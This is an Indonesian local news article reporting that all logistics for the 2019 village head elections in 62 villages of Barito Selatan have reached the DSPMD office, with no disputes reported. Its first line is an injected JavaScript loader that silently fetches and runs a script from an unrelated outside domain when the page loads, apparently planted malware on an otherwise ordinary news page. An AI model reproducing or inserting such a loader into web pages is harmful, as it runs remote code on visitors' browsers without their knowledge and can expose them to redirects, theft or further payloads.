(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Semua Logistik Pilkades Serentak Sudah Masuk DSPMD Barsel


BUNTOK, Pilkades Serentak 2019 yang digelar di 62 desa pada 6 Kecamatan se Kabupaten Barsel telah selesai melaksanakan pemilihan. Saat ini semua logistik Pilkades telah diserahkan ke Kantor DSPMD setempat.

Plt Kepala DSPMD Barsel melalui Kabid Adminitrasi dan Kelembagaan Desa Samsul Bahri mengatakan, untuk saat ini semua logistik Pilkades serentak sudah masuk sekretariat DSPMD Barsel yang sudah ditangani oleh pihak panitia Pilkades di Kabupaten.

“Jadi untuk saat ini semua logistik pikades pada 62 desa sudah sampai ke sekretariat panitia pilkades Kabupaten, dalam hal ini oleh pihak DSPMD Barsel,” kata Samsul kepada Kanalkalimantan.com, di kantornya Senin (7/10).

Ia juga mengatakan, dari 62 desa yang melaksanakan pilkades hingga saat ini masih belum ada mendapatkan laporan terkait ada tidanya permsalahan pada pilkades beberapa waktu lalu.

Dijelaskan olehnya, sesuai aturan bila memang adanya terjadi permasalahan pada pelaksanaan pilkades, pihaknya mempersilahkan bila memang ada laporan atau gugatan silahkan melaporkan kepada pihak pengawas Kecamatan. “Namun hingga saat ini kita masih belum mendapatkan laporan terkait adanya gugatan pada pelaksanaan pilkades ini,” ungkap Samsul.

Ia berharap Pilkades ini bisa berjalan dengan lancar dan aman. Kepada para peserta yang kalah kiranya bisa bersikap legowo dan kiranya bisa kembali ke aktivitasnya semula. “Kita berharap kiranya pelaksanaan pilkades ini berjalan lancar dan aman, serta untuk peserta yang kalah bisa legowo dan bisa kembali ke aktivitasnya seperti biasa,” pinta Samsul.

Ditambahkan olehnya terkait hasil Pilkades, apapun hasilnya baik itu memiliki hasil yang sama, tidak ada dilakukan PSU atau pemilihan ulang. Sebab akan dihitung berdasarkan hasil suara terbanyak pada hitungan kotak suara terbanyak pada TPS. “Karena sesuai dengan Permendagri nomor 65 tahun 2017 dan Perbub nomor 21 tahun 2018, bila mana ada hasil suara seri, pemenang akan di ambil pada suara terbanyak pada hitungan TPS yang ada,” pungkas Samsul.(digdo)

Reporter : Digdo
Editor : Chell


Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

15 jam ago

This website uses cookies.